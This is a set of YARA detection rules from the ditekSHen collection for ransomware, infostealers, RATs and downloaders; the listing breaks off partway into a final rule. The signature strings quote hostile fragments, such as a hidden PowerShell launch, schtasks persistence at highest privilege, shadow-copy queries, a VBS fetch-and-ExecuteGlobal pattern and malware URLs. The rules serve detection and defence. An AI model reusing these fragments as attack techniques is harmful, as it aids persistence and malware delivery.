rule DITEKSHEN_MALWARE_Win_Rookie_Downloader : FILE
{
	meta:
		description = "Detect malware downlaoder, variant of ZombieBoy downloader"
		author = "ditekSHen"
		id = "a991eecb-5275-5e33-bea4-e709590474a8"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10773-L10786"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "6d5625c2cd7e3a51c2fce9948e691ff2d1b7cf85083708790f89e15c6522059b"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "MALWARE.Win.Trojan.RookIE-Downloader"
	strings:
		$s1 = "shell:::{2559a1f3-21d7-11d4-bdaf-00c04f60b9f0}" fullword ascii
		$s2 = "taskkill /f /im hh.exe" fullword ascii
		$s3 = "RookIE/1.0" fullword ascii
		$s4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\0" fullword ascii
		$s5 = "#32770" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_MALWARE_Win_Fiber : FILE
{
	meta:
		description = "Detects Fiber .NET injector"
		author = "ditekSHen"
		id = "0e562e2e-cb91-5acf-bb8f-5e7e7d971a3d"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10788-L10824"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "bd6c2c02272fe59c8d7de533197f15d94b5532d32875f01e3e4bd52506456a34"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "Fiber.dll" fullword ascii
		$s1 = "-WindowStyle Hidden Copy-Item -Path *.vbs -Destination" wide
		$s2 = "-WindowStyle Hidden {0} -WindowStyle Hidden Start-Sleep 5; Start-Process {1}" wide
		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
		$s4 = "WScript.Shell" fullword wide
		$s5 = "{0}_{1:N}.lnk" fullword wide
		$s6 = "notepad.exe,0" fullword wide
		$i1 = "AppLaunch.exe" fullword wide
		$i2 = "aspnet_regbrowsers.exe" fullword wide
		$i3 = "cvtres.exe" fullword wide
		$i4 = "ilasm.exe" fullword wide
		$i5 = "jsc.exe" fullword wide
		$i6 = "MSBuild.exe" fullword wide
		$i7 = "RegAsm.exe" fullword wide
		$i8 = "RegSvcs.exe" fullword wide
		$v1 = "is tampered" wide
		$v2 = "Debugger Detected" wide
		$v3 = "RepositoryUrl" ascii
		$v4 = { 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00
                74 00 75 00 61 00 6c 00 20 00 00 0b 41 00 6c 00
                6c 00 6f 00 63 00 00 0d 57 00 72 00 69 00 74 00
                65 00 20 00 00 11 50 00 72 00 6f 00 63 00 65 00
                73 00 73 00 20 00 00 0d 4d 00 65 00 6d 00 6f 00
                72 00 79 00 00 0f 50 00 72 00 6f 00 74 00 65 00
                63 00 74 00 00 0b 4f 00 70 00 65 00 6e 00 20 00
                00 0f 50 00 72 00 6f 00 63 00 65 00 73 00 73 00
                00 0d 43 00 6c 00 6f 00 73 00 65 00 20 00 00 0d
                48 00 61 00 6e 00 64 00 6c 00 65 00 00 0f 6b 00
                65 00 72 00 6e 00 65 00 6c }
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and 3 of ( $s* ) and 2 of ( $i* ) ) or ( 4 of ( $s* ) and 4 of ( $i* ) ) or ( 2 of ( $s* ) and 6 of ( $i* ) ) or ( 1 of ( $x* ) and 3 of ( $v* ) ) or ( all of ( $v* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Unknown_Packedloader_01 : FILE
{
	meta:
		description = "Detects unknown loader / packer. Observed running LummaStealer"
		author = "ditekShen"
		id = "2969090f-dff9-5745-b87d-a031741dd2e0"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10826-L10845"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "6fd9075793b55e04c68bb13d21b88741889a9c37a0a9d1a19d895c7b68af4506"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Error at hooking API \"%S\"" wide
		$s2 = "Dumping first %d bytes:" wide
		$s3 = "Error at initialization of bundled DLL: %s" wide
		$s4 = "GetMemoryForDLL()" ascii
		$s5 = "type=activation&code=" ascii
		$s6 = "activation.php?code=" ascii
		$s7 = "&hwid=" ascii
		$s8 = "&hash=" ascii
		$s9 = "type=deactivation&hash=" ascii
		$s10 = "deactivation.php?hash=" ascii
		$s11 = "BANNED" fullword ascii
		$s12 = "GetAdaptersInfo" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 11 of them
}

rule DITEKSHEN_MALWARE_Win_LOLKEK : FILE
{
	meta:
		description = "Detects LOLKEK / GlobeImposter ransowmare"
		author = "ditekShen"
		id = "96374c8d-2ef7-5706-a96f-27d60f73f8c1"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10847-L10864"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "047492f8b7b56c75cfdcc4359de2b02a76cf9591b902171785806987e552995a"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "$Recycle.bin" fullword wide
		$s2 = "\\\\?\\%c:" fullword wide
		$s3 = ".MMM" fullword wide
		$s4 = "ReadMe.txt" fullword wide
		$s5 = "select * from Win32_ShadowCopy" fullword wide
		$s6 = "Win32_ShadowCopy.ID='%s'" fullword wide
		$s7 = "W3CRYPTO LOCKER" ascii
		$s8 = "http://mmcb" ascii
		$s9 = "yip.su/2QstD5" ascii
		$s10 = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 7 of them
}

rule DITEKSHEN_MALWARE_Win_Rhysida : FILE
{
	meta:
		description = "Detects Rhysida ransomware"
		author = "ditekSHen"
		id = "a70bdf19-3b56-5dc0-be74-20a2e85099cc"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10888-L10902"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "fb15f497cdee40b237dfc2aafcde2da95ff2a6f9c162273862ec1a0053269932"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "cmd.exe /c reg add \"HK" ascii
		$s2 = "rundll32.exe user32.dll,UpdatePerUserSystemParameters" fullword ascii
		$s3 = "C:/Users/Public/bg.jpg" fullword ascii
		$s4 = "CriticalBreachDetected.pdf" fullword ascii
		$s5 = "rhysida" ascii
		$s6 = "cmd.exe /c reg delete \"HKCU\\Cont" ascii
		$s7 = "Rhysida-" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of ( $s* ) or ( 3 of ( $s* ) and #s1 > 5 )
}

rule DITEKSHEN_MALWARE_Win_Povertystealer : FILE
{
	meta:
		description = "Detects PovertyStealer"
		author = "ditekSHen"
		id = "a431b82a-81cb-51a9-b3a8-61d71f36a60e"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10904-L10917"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "0d8a4dd1f3a9935935878840d19e16d91d240da776f99eb2dd3f12df96efa1d9"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "MALWARE.Win.Trojan.PovertyStealer"
	strings:
		$x1 = "Poverty is the parent of crime." ascii
		$s2 = "OperationSystem: %d:%d:%d" ascii
		$s3 = "ScreenSize: {lWidth=%d, lHeight=%d}" ascii
		$s4 = "VideoAdapter #%d: %s" ascii
		$s5 = "$d.log" fullword wide
	condition:
		(( uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) or all of ( $s* ) ) ) or all of them )
}

rule DITEKSHEN_MALWARE_Win_Janelarat : FILE
{
	meta:
		description = "Detects JanelaRAT"
		author = "ditekSHen"
		id = "6a49eeda-307f-5429-aa24-658223360239"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L10919-L10939"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9f10112b6ffa382b03511e7b6c8757438d5910ee2c24d650d05bb53abfff3860"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "<Janela>k__" ascii
		$x2 = "janela" fullword ascii
		$x3 = "\\CSHARP\\RAT\\" ascii
		$s1 = "<SystemInfos>k__" ascii
		$s2 = "<SendKeepAlives>b__" ascii
		$s3 = "hookStruct" fullword ascii
		$s4 = "[^a-zA-Z]" fullword wide
		$s5 = "GetRecycled" fullword ascii
		$s6 = "import \"bcl.proto\";" wide
		$s7 = "\\KL_FINAL\\" ascii
		$s8 = "\\KL_FASEAVAST" ascii
		$s9 = "\\kl c++" ascii
		$s10 = "VisaoAPP" ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or ( 2 of ( $x* ) and 3 of ( $s* ) ) or ( 1 of ( $x* ) and 5 of ( $s* ) ) or ( 6 of ( $s* ) ) )
}


rule DITEKSHEN_MALWARE_Win_Whiffyrecon : FILE
{
	meta:
		description = "Detects Whiffy Recon"
		author = "ditekSHen"
		id = "19b0f327-06ee-5f78-abac-9c4fbcad98ac"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11032-L11052"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "58df9f47f5890c5e31d352be682c6164a940dad206ad29c54c43f70d3afb9543"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "WLANSVC" fullword wide
		$s2 = "f02fe1c0-137a-4802-8881-55dd300c5022" fullword wide
		$s3 = "\\wlan.lnk" fullword wide
		$s4 = "str-12.bin" wide
		$s5 = "/geolocation/v1/geolocate?key=" wide
		$s6 = "/wlan" fullword wide
		$s7 = "/scanned" fullword wide
		$s8 = "/bots/" fullword wide
		$s9 = "wlan.pdb" fullword ascii
		$s10 = "botId" fullword ascii
		$s11 = "wifiAccessPoints" fullword ascii
		$s12 = "considerIp" fullword ascii
		$s13 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Quiterat : FILE
{
	meta:
		description = "Detects QuiteRAT"
		author = "ditekSHen"
		id = "54f7b899-3418-5074-8138-38cf073cda8c"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11054-L11068"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "257f9151294254e3e86979f184963f0396587438393b11bad068ba0f386cfc4a"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "< No Pineapple! >" ascii
		$x2 = ".?AVPineapple" ascii
		$x3 = ".?AVApple@@" ascii
		$s1 = "XgsdCwsRFxZF" ascii
		$s2 = "XggZChkVRQ==" ascii
		$s3 = "RxUZERQRHEU=" ascii
		$s4 = "XhkbDBEXFkU" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( all of ( $x* ) and 1 of ( $s* ) ) or ( 1 of ( $x* ) and 3 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_TOITOIN_Kritaloader : FILE
{
	meta:
		description = "Detects TOITOIN KritaLoader"
		author = "ditekSHen"
		id = "5ff002fc-1108-554e-9de6-92d568826d1d"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11116-L11127"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9629a4cfa606812d2579c0c0d486dec5971854e5133f0594a4638db5b89c3135"
		score = 75
		quality = 75
		tags = "FILE"
		clamav = "ditekSHen.MALWARE.Win.Trojan.TOITOIN"
	strings:
		$p1 = ":\\Trabalho_2023\\OFF_2023\\" ascii
		$p2 = "DLL_Start_OK.pdb" ascii
		$s1 = "krita_main" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $p* ) and 1 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_TOITOIN_Downloader : FILE
{
	meta:
		description = "Detects TOITOIN Downloader"
		author = "ditekSHen"
		id = "0282ea26-e381-5c9a-9dad-c90246d8add0"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11143-L11154"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d7e5e99c9266ec144152c3d1066e0e1a862f48ded17fab8f504192ca48219826"
		score = 75
		quality = 75
		tags = "FILE"
		clamav = "ditekSHen.MALWARE.Win.Trojan.TOITOIN"
	strings:
		$p1 = ":\\Trabalho_2023\\OFF_2023\\" ascii
		$s1 = { 20 2f 63 20 22 [6-15] 63 00 6d 00 64 00 00 00 6f 00 70 00 65 00 6e }
		$o1 = { 48 83 fa 10 72 34 48 8b 8d 10 ?? 00 00 48 ff c2 }
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Venomrat : FILE
{
	meta:
		description = "Detects VenomRAT"
		author = "ditekSHen"
		id = "93cd5ae3-c222-51a2-bbb9-bdd3254006e5"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11156-L11170"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "47d343def76a323c66db4ba6fb1c0d119f45323f9b7f36695e4aeb7b070819d7"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "Venom RAT + HVNC" fullword ascii
		$x2 = "Venom" fullword ascii
		$x3 = "VenomByVenom" fullword wide
		$s1 = "/c schtasks /create /f /sc onlogon /rl highest /tn \"" fullword wide
		$s2 = "UmVjZWl2ZWQ" wide
		$s3 = "Pac_ket" fullword wide
		$s4 = "Po_ng" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) and 2 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Sapphirestealer : FILE
{
	meta:
		description = "Detects SapphireStealer"
		author = "ditekSHen"
		id = "ed6cffe4-23f1-5791-b07d-75abb698c899"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11172-L11190"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "97088c0decf158d45a02571bd50b5f370c139339c19b8071f38c0f9816232d1f"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Sapphire.Modules." ascii
		$s2 = "sapphire\\" wide
		$s3 = "by r3vengerx0" wide
		$s4 = "Sapphire\\obj\\" ascii
		$s5 = "[ERROR_GETSECRETKEY_METHOD]" fullword wide
		$s6 = "[ERROR_CANT_GET_PASSWORD]" fullword wide
		$s7 = "<h2>------NEW LOGS------</h2>" wide
		$s8 = "[ERROR] can't create grab directory" wide
		$s9 = "<UploadToTelegram>d__" ascii
		$s10 = "UploadToTelegram" ascii
		$s11 = ".SendLog+<UploadToTelegram>d__" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}


rule DITEKSHEN_MALWARE_Win_Graphicalproton_Rsockstun : FILE
{
	meta:
		description = "Detects GraphicalProton custom rsockstun"
		author = "ditekShen"
		id = "5efa85f6-7e73-53a1-92df-4cb975e62345"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11271-L11286"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ca4d18160b89d82106310237cf81bba57a7f51be77a31d2f18ca8c2987972c2c"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$m1 = "main.connectviaproxy" ascii
		$m2 = "main.connectForSocks" ascii
		$m3 = "main.listenForClients" ascii
		$m4 = "main.listenForSocks" ascii
		$s1 = "Proxy-Authorization: NTLM TlRMTVNTUAABAAAABoIIAAAAAAAAAAAAAAAAAAAAAAA=" ascii
		$s2 = "Server: nginx/1.14.1" ascii
		$s3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" ascii
		$s4 = "wine_get" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( all of ( $m* ) and 2 of ( $s* ) ) or ( all of ( $s* ) and 1 of ( $m* ) ) or 7 of them )
}



rule DITEKSHEN_MALWARE_Win_Agentracoon : FILE
{
	meta:
		description = "Detects AgentRacoon. Not Raccoon"
		author = "ditekShen"
		id = "cc31bd71-da96-5a3d-b2f1-40f9745d8d46"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11327-L11343"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "7ed17a1bc161855f2bdc432952086f3b86b58ae9ea6c0d541544f4b63a8e08e8"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "UdpClient" fullword ascii
		$s2 = "IPEndPoint" fullword ascii
		$s3 = "get_Client" fullword ascii
		$s4 = "set_ReceiveTimeout" fullword ascii
		$s5 = "Command failed:" wide
		$s6 = "uploaded" wide
		$s7 = "downloaded" wide
		$s8 = ".telemetry." wide
		$s9 = "xn--" wide
	condition:
		uint16( 0 ) == 0x5a4d and 7 of them
}

rule DITEKSHEN_MALWARE_Win_Vbsdownloader : FILE
{
	meta:
		description = "Detects second stage VBS downloader of third stage VBS"
		author = "ditekShen"
		id = "480e6872-3a8c-58c5-a455-02342ec7918c"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11363-L11375"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "fee9a78e60d02ff2f03035812af2bf36fe350c70d3e4e094713791833f8ba4d6"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "CreateObject(\"MSXML2.ServerXMLHTTP\")" wide
		$s2 = ".Open \"GET\"," wide
		$s3 = ".Send" wide
		$s4 = ".responseText" wide
		$s5 = "ExecuteGlobal" wide
	condition:
		filesize < 50KB and all of them
}

rule DITEKSHEN_MALWARE_Win_Metastealer : FILE
{
	meta:
		description = "Detects MetaStealer infostealer"
		author = "ditekSHen"
		id = "46aa30c1-12c2-56df-8c65-0b96147f9051"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11400-L11423"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "260c6d90a89ddb6219a5cbad18058e41611ae2dc68a8d4e589fa6ca81853752f"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "! #\"'&(&*)>=@?POQOROSOTOUOVOWOXOYOZO[O^]{z|z}z~z" fullword wide
		$s2 = "{0}{1}{2}" fullword wide
		$s3 = "localhost" fullword wide
		$s4 = "\\tdata" fullword wide
		$s5 = "DecryptBlob" fullword ascii
		$s6 = "GetMac" fullword ascii
		$s7 = "GetHdc" fullword ascii
		$s8 = "FindProc" fullword ascii
		$s9 = "targetPid" fullword ascii
		$s10 = "MessageSecurityOverTcp" fullword ascii
		$s11 = "ListOfProcesses" fullword ascii
		$s12 = "ListOfPrograms" fullword ascii
		$s13 = "browserPaths" fullword ascii
		$s14 = "configs" fullword ascii
		$s15 = "scanners" fullword ascii
		$s16 = "FileScannerRule" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 7 of ( $s* )
}


rule DITEKSHEN_MALWARE_Win_Houdiniconfig : FILE
{
	meta:
		description = "Detects Houdini Trojan configurations"
		author = "ditekshen"
		id = "e4f974fe-731e-55a8-aa5f-068a1e62f54d"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/back-in-2017"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11600-L11616"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "70a67c9a91d2f82184f1d7a5ea51de911a054dd4e38e2cc36f495ed59219afab"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "install_name="
		$s2 = "nick_name="
		$s3 = "install_folder="
		$s4 = "reg_startup="
		$s5 = "startup_folder_startup="
		$s6 = "task_startup="
		$s7 = "injection="
		$s8 = "injection_process"
	condition:
		( uint16( 0 ) == 0x5a4d and 5 of them ) or ( all of them )
}

rule DITEKSHEN_MALWARE_Win_Validalpha : FILE
{
	meta:
		description = "Detects ValidApha / BlackRAT"
		author = "ditekshen"
		id = "3162eb5f-6e2d-598a-b199-22b70ec8a773"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11720-L11736"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "54d170076d1b32cee6f6252d40548acc7e23b467d692c59d6146a8aadf431211"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "RAT/Black/" ascii
		$x2 = "RAT/Black/Client_Go/" ascii
		$s1 = "main.RunTask" fullword ascii
		$s2 = "main.CmdShell" fullword ascii
		$s3 = "main.SelfDelete" fullword ascii
		$s4 = "main.RecvPacket" fullword ascii
		$s5 = "main.FileDownload" fullword ascii
		$s6 = "main.CaptureScreen" fullword ascii
		$s7 = "main.PeekNamedPipe" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and 2 of ( $s* ) ) or ( 6 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Tigerrat : FILE
{
	meta:
		description = "Detects TigerRAT"
		author = "ditekshen"
		id = "37192fc8-1932-5f33-994a-bb319b131c58"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11738-L11756"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "38a238339db7e7f573e0c7362af5a08654a9e134f902c0ecae441250a0364c64"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$m0 = ".?AVCryptorRC4@@" fullword ascii
		$m1 = ".?AVModuleShell@@" fullword ascii
		$m2 = ".?AVModuleKeyLogger@@" fullword ascii
		$m3 = ".?AVModuleSocksTunnel@@" fullword ascii
		$m4 = ".?AVModuleScreenCapture@@" fullword ascii
		$m5 = ".?AVModulePortForwarder@@" fullword ascii
		$s1 = "\\x9891-009942-xnopcopie.dat" fullword wide
		$s2 = "(%02d : %02d-%02d %02d:%02d:%02d)--- %s[Clipboard]" fullword ascii
		$s3 = "[%02d : %02d-%02d %02d:%02d:%02d]--- %s[Title]" fullword ascii
		$s4 = "~KPTEMP" fullword wide
		$s5 = "del \"%s\"%s \"%s\" goto " ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( all of ( $s* ) ) or ( 5 of ( $m* ) ) or ( 3 of ( $m* ) and 2 of ( $s* ) ) or ( 5 of them ) )
}

rule DITEKSHEN_MALWARE_Win_Fakecaptcha_Downloader : FILE
{
	meta:
		description = "Detects downloader executables dropped by fake captcha"
		author = "ditekshen"
		id = "d577e8ef-11df-565c-9925-63b8768a7115"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11793-L11803"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "57c39ce93f74d03767e7fde53281983a8462e4f3705d1bb9084bc169a08a0f83"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "</script>MZ" ascii
		$s2 = "window.close();" ascii
		$s3 = "eval(" ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Xenorat : FILE
{
	meta:
		description = "Detects Blacksuit"
		author = "ditekshen"
		id = "7f27ebef-8a0e-591a-a926-ac950db86053"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11805-L11820"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "487046464f545fb9e4a1d6e277cdc010eac6886583f0b388555a483d9021191b"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "xeno rat client" wide
		$x2 = "xeno_rat_client." ascii
		$x3 = "xeno rat client" ascii
		$s1 = "+<AddToStartupNonAdmin>" ascii
		$s2 = "+<ConnectAndSetupAsync>" ascii
		$s3 = "+<SendUpdateInfo>" ascii
		$s4 = "+<RecvAllAsync_ddos_" ascii
		$s5 = "Plugin.Chromium+<Get" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and 2 of ( $s* ) ) or ( 4 of ( $s* ) ) or ( 2 of ( $x* ) ) )
}

rule DITEKSHEN_MALWARE_Multi_POOLRAT : FILE
{
	meta:
		description = "Detects POOLRAT"
		author = "ditekshen"
		id = "5831b479-592d-591b-88b4-73102fe4b6ec"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L11822-L11839"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "efc5881975e97583188d43a8a6b0eb59bb7103664897cc0f88ddc4d2376bd842"
		score = 75
		quality = 75
		tags = "FILE"
		clamav1 = "MALWARE.Osx.Trojan.POOLRAT"
		clamav2 = "MALWARE.Linux.Trojan.POOLRAT"
	strings:
		$s1 = "MSG_CmdP" ascii
		$s2 = "MSG_WriteConfigP" ascii
		$s3 = "MSG_SecureDelP" ascii
		$s4 = "ConnectToProxyP" ascii
		$s5 = "MSG_KeepConP" ascii
		$s6 = "MSG_SleepP" ascii
		$s7 = "MSG_TestP" ascii
		$s8 = "MSG_SetPathP" ascii
	condition:
		( uint16( 0 ) == 0x457f or uint16( 0 ) == 0xfacf or uint16( 0 ) == 0xfeca ) and 7 of them
}

rule DITEKSHEN_MALWARE_Multi_Pondrat : FILE
{
	meta:
